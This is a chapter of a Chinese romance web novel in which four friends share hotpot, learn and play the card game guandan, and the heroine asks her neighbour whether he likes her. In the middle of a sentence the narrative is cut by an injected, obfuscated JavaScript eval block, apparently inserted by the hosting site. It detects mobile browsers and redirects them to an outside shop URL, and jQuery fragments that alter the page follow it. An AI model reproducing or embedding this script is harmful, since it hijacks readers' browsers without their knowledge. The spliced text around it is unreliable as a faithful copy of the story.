19. CH.19

作品:《别扯我猫尾

    江池禹正襟危坐,手里的动作停下,总算是没阻拦他。


    沈柠枂整理了一下措辞:“也不能这么说吧,就是没有想谈的想法,平时没怎么注意喜不喜欢。”


    叶肆垣嘴角勾起耐人寻味的弧度。江池禹不会好奇心这么重,关注一个不感兴趣的人的恋爱情况。


    他拍了拍旁边专心吃着的裴易,那点不易察觉的笑隐去。


    “巧了不是,这么看你和裴易还挺像的。”


    裴易不像他,不想在江池禹身上找不痛快,立刻炸了,“你今天有说话字数kpi要完成?吃都堵不住了是吧?”


    江池禹起身给他倒了杯饮料,平静地附和:“估计是吃了太多闭门羹,饱了。”


    叶肆垣在他们面前脸皮一向厚,继续追问沈柠枂:“那你现在有喜欢……啊不,好感的人吗?”


    这个问题来得突然。


    沈柠枂下意识想摇头,目光不受控地扫过正给裴易倒饮料的人。他垂着眼,手腕翻转间,易拉罐被精准投入垃圾桶。


    好感的话……江池禹算吗?


    她也不确定。


    江池禹语气平淡:“叶肆垣,你今天话真有点密了。”


    “我这不是好奇问问吗,不聊怎么熟起来?”


    “用不着跟你熟起来。”


    沈柠枂听着两人互呛,嘴角弯了弯。她端起面前的饮料,特意确认是自己做了记号的那瓶,放心喝了下去。


    窗外的雪还在下,雨已经停了。积雪重新堆积起来,火锅的热气蒸腾,将四个人的脸都熏得微微泛红。


    裴易夹走锅里最后一片肥牛,叶肆垣紧接着抢走最后一颗牛肉丸,沈柠枂盯着空空如也的漏勺,还没来得及哀嚎,江池禹已经从厨房端出一盘切好的肉片。


    “还有?”她眼睛亮了。


    “嗯,猜到不够吃,把原本准备晚上做饭用的也拿出来了。”


    叶肆垣和裴易对视一眼,都从对方眼里看到了同样的情绪。


    怎么他们之前来江池禹家吃饭的时候没有这待遇?向来是有什么吃什么,不够吃就自己点外卖。


    真是,太双标了!


    但两人识趣地没说什么,难得看到万年铁树开花,这个时候添堵以后估计真就只能吃外卖了。


    肉片下锅,血色很快褪去。沈柠枂拿着筷子跃跃欲试,江池禹却按住她的手腕:“再等一会儿,没熟透。”


    “哦。”她乖乖收回手。


    后来的话题逐渐轻松,叶肆垣讲起他和书禾的爱情故事,时不时向他们寻求意见,又在听后一口否决。


    “算了,跟你们三个母单的人没什么好说的。”


    成功收获三个白眼。


    吃到尾声,叶肆垣靠在椅背上,发出满足的喟叹:“好久没这么舒服吃一顿火锅了。”


    “你天天山珍海味,还差这一顿?”裴易吐槽。


    “那不一样,一个人的山珍海味,味同嚼蜡。四个人一起吃火锅,这才是真正的人间美味。”


    这话说得莫名有些道理,沈柠枂想了想,好像确实是这样。她一个人的时候吃饭只是为了填饱肚子,维持生命体征,但每次和朋友一起,就觉得原本平平无奇的食物也好吃许多。


    江池禹不认同:“我看你是当野人习惯了,抢着吃什么都好吃。”


    叶肆垣:“……”


    沈柠枂:“……”


    话糙理不糙,但这话是不是也太糙了。


    *


    空调暖气开得很足,叶肆垣输了一下午,更是浑身燥意。同样情况的还有一声不吭的裴易,脸上被纸条贴满,人看着走了有一会儿了。


    “我赢了。”沈柠枂丢下手里最后一张牌,语调轻快。


    叶肆垣瘫倒在沙发上哀嚎:“不是为啥啊?你打牌怎么比江池禹这小子还厉害。”


    裴易安静地往脸上贴了纸条,面前已经摆了好几个空的易拉罐,表情麻木,看上去已经认命了。


    江池禹开口,语气里带着一丝幸灾乐祸:“我都说四个人随机组队,你们不乐意。”


    叶肆垣不认命,最后将输的原因归咎于牌,认定是上次的霉运传了下来。


    “输了就是输了,”江池禹拆开两副新的扑克牌,手法娴熟地洗着,纸牌在他手指间翻飞,看得沈柠枂眼花缭乱,“这次玩什么?”


    刚刚赢了那么多,她不好意思扫兴说自己对其他玩法规则不熟,只能看牌行事。


    “斗地主?”叶肆垣试探。


    “四个人。”


    “那就……掼蛋?”


    “行。”


    沈柠枂茫然:“我不会,这怎么玩?”


    “两人一组对抗,想学吗?不想就玩别的。”江池禹边洗牌边解释。


    “想。”她答得干脆,“那我和谁一队?”


    “当然是我。”他理所当然。


    叶肆垣翻了个白眼:“我就知道,行吧,那我和裴易一队,今天定要好好教训你这个双标狗。”


    江池禹轻笑:“随意。”


    裴易一路输过来,没有他那样的好心态,冷声补刀:“你先点外卖,把上次欠的饭结算了再说。”


    “……”


    趁着叶肆垣点外卖的间隙,江池禹讲解了一下规则。裴易也很久没玩过掼蛋,凑在一起旁听。


    掼蛋用两副牌,一共一百零八张。四个人打,对家两人是一组,一人二十七张牌。也就是说,沈柠枂和江池禹面对面坐,叶肆垣和裴易面对面坐。


    “对家?”沈柠枂看了一眼坐在自己对面的江池禹,“所以我们俩是对家?”


    “嗯。”


    “那我和他一队?”她指了指叶肆垣。


    “不,”江池禹耐心解释,“对家是一组。你和我对家,所以我们是一队。叶肆垣和裴易对家,他们是一队。”


    沈柠枂恍然大悟:“所以旁边坐着的不是队友是对手?”


    “对。”


    叶肆垣:“你们俩这对话,怎么听着那么像相亲的调调?”


    “闭嘴。”江池禹面不改色,“再说话就让你和裴易换位置。”


    “换就换,反正我和裴易坐哪儿都一样。”


    裴易:“……”


    沈柠枂忍不住笑出声。


    规则继续讲解。先取任意一张牌明牌,抓到的人优先出牌,手里剩十张牌的时候要记得报牌。升级需要从2开始打起,先打过A的一方获胜。


    “牌型大小呢?”沈柠枂问。


    “王炸最大,就是四个王一起出。”江池禹说,“然后是六张及以上的炸弹,再是同花顺,再是五张炸弹,最后是其他牌型。”


    “同花顺是什么?”


    “同花色的顺子,五张起。比普通炸弹大,但比六张以上的炸弹小。”


    “第一个出完牌的人是头游,以此类推,最后一家为末游。”


    “我刚刚搜了一下还有逢人配,这个是什么意思?”


    “每局会确定一个级牌,比如打2,那红桃2就是逢人配,可以当任何牌用。但不能当王,也不能当别的级牌。”


    沈柠枂点点头,默默记在心里。


    “柠枂,有没有什么忌口?”叶肆垣低头看着手机,随口问道。


    “她不吃花生酱,过敏。”江池禹脱口而出。


    “那没事了。”叶肆垣木讷地下完单,突然意识到不对,抬头看向江池禹,“刚刚是你回答的?”


    江池禹毫无波澜:“嗯,怎么了?”


    “你怎么知道她花生酱过敏?”


    “我们一起吃饭,就知道了呗,这有什么?”


    “就这样?”


    “不然呢?”


    叶肆垣狐疑地看着他,总觉得哪里不对,但又说不上来。裴易在一旁幽幽开口:“那我不吃什么?”


    他莫名其妙:“关我什么事。”


    叶肆垣恍然大悟,张嘴想指责几句,裴易同情地拍了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344605|199406||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    拍他的肩膀,语重心长:“不想自取其辱就闭嘴吧。”


    沈柠枂站在旁边,讪笑一声,“主要是我过敏会比较严重,可能他就记住了。”


    叶肆垣和裴易对视一眼,低头叹了口气,一脸的一言难尽。


    “行了,外卖点完了。”叶肆垣把手机扔在一边,顺手将汤圆抱进怀里,“来来来,汤圆附体,今天我要把输的都赢回来!”


    “你每次都这么说。”裴易面无表情。


    “这次是真的!”


    江池禹把洗好的牌放在茶几上,从中间抽出一张明牌——红桃J,又插回去,然后开始发牌。


    一人二十七张,沈柠枂第一次拿这么多牌,一张张理好,先找红桃。


    她翻了一遍,没有红桃J。


    抬头看向对面的江池禹,他正垂眸理牌,表情平静如水,根本看不出牌的好坏。


    叶肆垣忽然开口:“我拿到了红桃J。”


    三人齐齐看向他。


    叶肆垣得意洋洋地把红桃J亮出来:“看见没?我先出牌!”


    裴易拆台:“你得意什么?先出不代表能赢。”


    “那也比你强。”


    沈柠枂看着叶肆垣那张嘚瑟的脸,忽然觉得这一局可能有点难。


    半小时后。


    “出完!”


    最后一张牌被拍在桌上,沈柠枂清亮的声音落下,带着难以掩饰的骄傲,看向江池禹:“怎么样,头游!”


    “特别厉害。”江池禹眼底带着笑意,把手里的牌丢下去,“我也出完了。”


    叶肆垣看着两人空空的手心,哀嚎出声:“不是吧?又输了?”


    他这个人极其迷信,输了后开始怀疑是江池禹洗牌把他的牌洗臭了。在他的强烈要求下,洗牌的任务成功交给了同样一直输的裴易。


    裴易刚分完牌,敲门声响起。与此同时,叶肆垣手机铃声和外卖员的声音一起传入众人耳朵里,“你的外卖到了,放门口了啊。”


    “好的,谢谢。”


    叶肆垣说完,顾虑着大雪天送餐不容易,很大方地给骑手打赏了一百。


    他点的油焖小龙虾和米饭,要吃饭的话,牌自然是没法再打了。


    整场下来,裴易和叶肆垣的脸上被贴满了纸条,正准备撕下来时被沈柠枂叫停:“等一会儿!拍张照拍张照,我第一次赢这么多。”


    照片拍完,两人争先恐后去洗手间洗了把脸,江池禹和她都没怎么输,脸上干干净净的。


    吃完饭将垃圾收拾好后已经晚上九点,裴易明天要去公司上班,便约着下次有机会再一起玩。


    沈柠枂确实没谈过恋爱,学生时代也没喜欢过谁,大多数时候都在和朋友过着普通且日常的生活。


    可她是一个网文写手,闺蜜又是离婚律师,今天这么贴脸她还不看不出江池禹那点心思的话,估计可以跟家里说一声,去医院检查一下脑子。


    有些话,既然一开始不打算说出来,那就应该藏好一点啊。


    “我先回去了,”她拉开房门,一只脚迈出去,“江池禹,你是喜欢我吗?”


    江池禹握着的手微微收紧,他看着她那双棕褐色的眼眸在暖色调的灯光下显得格外清澈,正安静地等一个答案。


    “是。”


    “我明天有事,就不过来吃饭了。”


    两人几乎同时开口。


    沈柠枂的皮肤偏冷白,脖子上的珍珠项链在灯光下和皮肤很相称,脸上擒着笑意,语调温和,听见他的回答时明显愣了一下。


    她趁着大家散了才问出口,原以为江池禹会随便找个借口搪塞过去,这样以后还能继续保持好邻居或朋友关系。


    可他偏偏说“是”。


    沈柠枂垂下眼眸,不知道该怎么接话。


    江池禹移开视线,靠着墙边,苦涩在心里蔓延。


    “好,晚安。”


    “晚安。”


    楼道的声控灯灭了。